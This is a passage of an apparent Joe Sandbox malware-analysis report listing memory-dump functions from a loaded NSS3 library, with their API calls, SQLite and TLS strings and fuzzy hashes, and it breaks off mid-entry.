Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: f984593381f39e3eb573ddc6f79294973100b5db22e4170646d380a030a5964e
Instruction ID: fdeb5d8ebe6b32d4a00970afa118795717ec5ebc7462c162c6c73c846a29d663
Opcode Fuzzy Hash: f984593381f39e3eb573ddc6f79294973100b5db22e4170646d380a030a5964e
Instruction Fuzzy Hash: AB22B0B1904301AFE700CF16CD94B9A77E1AF84308F24856CF8585BB92F772E859DB96

Function 6CBB1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBB25F3

Strings

multiple recursive references: %s, xrefs: 6CBB22E0
too many columns in result set, xrefs: 6CBB3012
no such table: %s, xrefs: 6CBB26AC
%s.%s.%s, xrefs: 6CBB302D
H, xrefs: 6CBB329F
unsafe use of virtual table "%s", xrefs: 6CBB30D1
no tables specified, xrefs: 6CBB26BE
no such index: "%s", xrefs: 6CBB319D
too many references to "%s": max 65535, xrefs: 6CBB2FB6
cannot join using column %s - column not present in both tables, xrefs: 6CBB32AB
H, xrefs: 6CBB322D
recursive reference in a subquery: %s, xrefs: 6CBB22E5
'%s' is not a function, xrefs: 6CBB2FD2
cannot have both ON and USING clauses in the same join, xrefs: 6CBB32B5
%s.%s, xrefs: 6CBB2D68
a NATURAL join may not have an ON or USING clause, xrefs: 6CBB32C1
table %s has %d values for %d columns, xrefs: 6CBB316C
access to view "%s" prohibited, xrefs: 6CBB2F4A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: e65f0732e3f1208be4ca6065e487ce093ae2b3231b1f919b563ddd21f46b7ee4
Instruction ID: eff90d01e664702af5926f789617b50468039e4802b78a37bc8c0c15bbf3806f
Opcode Fuzzy Hash: e65f0732e3f1208be4ca6065e487ce093ae2b3231b1f919b563ddd21f46b7ee4
Instruction Fuzzy Hash: 38D27C74E042898FDB04CF99C494BAEB7B1FF49308F288169D855BBB51DB31E846CB52

Function 6CBEECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBEED38

Part of subcall function 6CB84F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB84FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CBEEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CBEEFE4

Part of subcall function 6CCADFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB85001,?,00000003,00000000), ref: 6CCADFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CBEF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CBEF129
sqlite3_mprintf.NSS3(optimize), ref: 6CBEF1D1
sqlite3_free.NSS3(?), ref: 6CBEF368

Strings

fts3_tokenizer, xrefs: 6CBEEE1A, 6CBEEEA8
offsets, xrefs: 6CBEEFAF, 6CBEEFDF, 6CBEF01F
fts3tokenize, xrefs: 6CBEF30F
fts4, xrefs: 6CBEF2AD
porter, xrefs: 6CBEED97
simple, xrefs: 6CBEED79
fts3, xrefs: 6CBEF247
optimize, xrefs: 6CBEF199, 6CBEF1CC, 6CBEF211
matchinfo, xrefs: 6CBEF04F, 6CBEF082, 6CBEF0C2, 6CBEF0F2, 6CBEF124, 6CBEF169
snippet, xrefs: 6CBEEF05, 6CBEEF37, 6CBEEF7C
fts4aux, xrefs: 6CBEECF9
unicode61, xrefs: 6CBEEDB5

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 0c9013498642617c2c997b237f9b46942ea3b35e607eebc7fd4f3c386b365b7a
Instruction ID: c9877704df60fa009b335f08d19f59e1354a0ea4b2cfeda377783d9f19c083a4
Opcode Fuzzy Hash: 0c9013498642617c2c997b237f9b46942ea3b35e607eebc7fd4f3c386b365b7a
Instruction Fuzzy Hash: 800203B1B043904BE7049F71A88572F37B5AFCAB48F14853CD95A87B50EB78E846C792

Function 6CC67C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC67C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CC67C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC67D1E

Part of subcall function 6CC67870: SECOID_FindOID_Util.NSS3(?,?,?,6CC691C5), ref: 6CC6788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC67D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CC67D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC67DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC67DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC67DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC67E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CC67E58

Part of subcall function 6CC67870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC691C5), ref: 6CC678BB
Part of subcall function 6CC67870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CC691C5), ref: 6CC678FA
Part of subcall function 6CC67870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CC691C5), ref: 6CC67930
Part of subcall function 6CC67870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC691C5), ref: 6CC67951
Part of subcall function 6CC67870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC67964
Part of subcall function 6CC67870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC6797A
Part of subcall function 6CC67870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CC67988
Part of subcall function 6CC67870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CC67998
Part of subcall function 6CC67870: free.MOZGLUE(00000000), ref: 6CC679A7
Part of subcall function 6CC67870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CC691C5), ref: 6CC679BB
Part of subcall function 6CC67870: PR_GetCurrentThread.NSS3(?,?,?,?,6CC691C5), ref: 6CC679CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC67E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC67F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC67F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC67FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC67FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CC68038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC68050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CC68093
SECOID_FindOID_Util.NSS3 ref: 6CC67F29

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC68072
SECOID_FindOID_Util.NSS3 ref: 6CC680F5

Part of subcall function 6CC6BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CC6800A,00000000,?,00000000,?), ref: 6CC6BC3F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: e7399d4eed7704c5f8529e352c89a07e227738fe73e24fc193e5bcdee51c15ce
Instruction ID: 397e7f83b59fe08f372ca58f54dc3330499b125e63f6740b159d1ac32f6c4e17
Opcode Fuzzy Hash: e7399d4eed7704c5f8529e352c89a07e227738fe73e24fc193e5bcdee51c15ce
Instruction Fuzzy Hash: 81E18C70A083009FE700CF2ACA80B5A77E5BF45308F14496DE99A9BF51F732E859DB52

Function 6CBF1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CBF1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CBF1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CBF1CA1
GetLengthSid.ADVAPI32(?), ref: 6CBF1CA9
malloc.MOZGLUE(00000000), ref: 6CBF1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CBF1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CBF1CE4
GetLengthSid.ADVAPI32(?), ref: 6CBF1CEC
malloc.MOZGLUE(00000000), ref: 6CBF1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CBF1D0F
CloseHandle.KERNEL32(?), ref: 6CBF1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CBF1D4D
GetLastError.KERNEL32 ref: 6CBF1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CBF1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CBF1D7A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: fb37012604843a238be16583cf71f9fb8e1fb3f68782149db382c69b69e3ba34
Instruction ID: e6befd6b891f996afa486b3fb5b48e4d2596b54cfce4a3b40ce8f7bf121857a1
Opcode Fuzzy Hash: fb37012604843a238be16583cf71f9fb8e1fb3f68782149db382c69b69e3ba34
Instruction Fuzzy Hash: D83130B5A00218AFFB10AF64CC88BAA7BBCFF4E349F444165F70992650E7305994CF65

Function 6CBF3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBF3DFB
__allrem.LIBCMT ref: 6CBF3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBF4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBF40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF415F
__allrem.LIBCMT ref: 6CBF416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF42AB
__allrem.LIBCMT ref: 6CBF42B7

Strings

%04d, xrefs: 6CBF407B
%03d, xrefs: 6CBF42E8
%lld, xrefs: 6CBF3FB2
%02d, xrefs: 6CBF4086

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: c88d85593d27c96624142375bb783a52229631108b2a0848844eadd12218b52c
Instruction ID: e38dfbc8726e30f143aff70dcdcf5d8ed3de9d8395cd8d75b33bd4429295066b
Opcode Fuzzy Hash: c88d85593d27c96624142375bb783a52229631108b2a0848844eadd12218b52c
Instruction Fuzzy Hash: 3DF10471A087809FE715CF38C941A5BB7FAEF86304F148A2DF5A597B51E730D48A8B42

Function 6CBA1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBA1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBA1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CBA1FB7

Strings

sqlite_master, xrefs: 6CBA1C61
no more rows available, xrefs: 6CBA2264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CBA1F83
sqlite_temp_master, xrefs: 6CBA1C5C
abort due to ROLLBACK, xrefs: 6CBA2223
unknown error, xrefs: 6CBA2291
table, xrefs: 6CBA1C8B
another row available, xrefs: 6CBA2287
unsupported file format, xrefs: 6CBA2188
attached databases must use the same text encoding as main database, xrefs: 6CBA20CA

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 738702cce1e80bbc51032b9a1cbdbae06a9480e9f983361b7f4d484d786371c1
Instruction ID: 7946afd2181f3fc9577c157e7655c492dd9b505bc59965b3e123bfafb45a7df1
Opcode Fuzzy Hash: 738702cce1e80bbc51032b9a1cbdbae06a9480e9f983361b7f4d484d786371c1
Instruction Fuzzy Hash: F612AB7060C3818FD715CF5AC084A5AB7E2EF85318F1889ADE8D99BB51D771E846CB83

Function 6CBC5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6CBC62F9
BINARY, xrefs: 6CBC8708, 6CBC8737, 6CBC87B8
u, xrefs: 6CBC81DA
ON clause references tables to its right, xrefs: 6CBC6BEC
NOCASE, xrefs: 6CBC8703
2, xrefs: 6CBC65B4
sub-select returns %d columns - expected %d, xrefs: 6CBC805F
-, xrefs: 6CBC6228

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: fe4d965be52957efabf975914c203f83991ad07ef31252c27406b95b2b86f4a8
Instruction ID: 41521af5b34801b77669624900d350e6c036d54e1d3caa7d21c337c4b1fc2048
Opcode Fuzzy Hash: fe4d965be52957efabf975914c203f83991ad07ef31252c27406b95b2b86f4a8
Instruction Fuzzy Hash: 454370747083818FD304CF19C490A6AB7E2FF89318F148A6DE8999B752D775E846CB93

Function 6CC6EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC6DAE2,?), ref: 6CC6C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CC6F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD3218C), ref: 6CC6F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CC6F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC6F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC6F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC6F210

Part of subcall function 6CC152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CC6F1E9,?,00000000,?,?), ref: 6CC152F5
Part of subcall function 6CC152D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CC1530F
Part of subcall function 6CC152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CC15326
Part of subcall function 6CC152D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CC6F1E9,?,00000000,?,?), ref: 6CC15340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC6F227

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC6F23E

Part of subcall function 6CC5BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC0E708,00000000,00000000,00000004,00000000), ref: 6CC5BE6A
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?), ref: 6CC5BE7E
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC6F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC6F3A8

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC6F3B3

Part of subcall function 6CC12D20: PK11_DestroyObject.NSS3(?,?), ref: 6CC12D3C
Part of subcall function 6CC12D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC12D5F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: babde9c3239ae3c3a1d36907239185485b693e9a33e590eb13c817ddd93b8b20
Instruction ID: 19ad3f214e918272fc2c7106176cb3abbfdd6ae3fe303385a9f1021262c474a5
Opcode Fuzzy Hash: babde9c3239ae3c3a1d36907239185485b693e9a33e590eb13c817ddd93b8b20
Instruction Fuzzy Hash: 76D14DB6E012059FDB14CF9ADAC0B9EB7B5EF48308F158029D915A7B11FB31E816CB50

Function 6CC9DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CC77FFA,00000000,?,6CCA23B9,00000002,00000000,?,6CC77FFA,00000002), ref: 6CC9DE33

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CC9D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CC9DE74,6CC77FFA,00000002,?,?,?,?,?,00000000,6CC77FFA,00000000,?,6CCA23B9,00000002), ref: 6CC9D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CC77FFA,00000000,?,6CCA23B9,00000002,00000000,?,6CC77FFA,00000002), ref: 6CC9DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CC9DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC9E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC9E121
PK11_FreeSymKey.NSS3(?), ref: 6CC9E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CC9E195
PR_GetCurrentThread.NSS3 ref: 6CC9E1FC

Part of subcall function 6CC92460: PR_SetError.NSS3(FFFFE005,00000000,6CD37379,00000002,?), ref: 6CC92493

Strings

early application data, xrefs: 6CC9DFC9
application data, xrefs: 6CC9DFE0
key, xrefs: 6CC9E046
handshake data, xrefs: 6CC9DFF7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 66aaf209a20ab4ea1c4e80b750e8118ebe4a75e7d5453cb0f3db3bf9b8281857
Instruction ID: 0713310df092ce747e9cd4f4210927d2a75d5670128fd341f417b3e7667becc0
Opcode Fuzzy Hash: 66aaf209a20ab4ea1c4e80b750e8118ebe4a75e7d5453cb0f3db3bf9b8281857
Instruction Fuzzy Hash: 4FC1F771B00615ABEB04CF65CC80BAAB7B4FF59308F144129E909ABB51F331E955CBA1

Function 6CB8ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8EF87
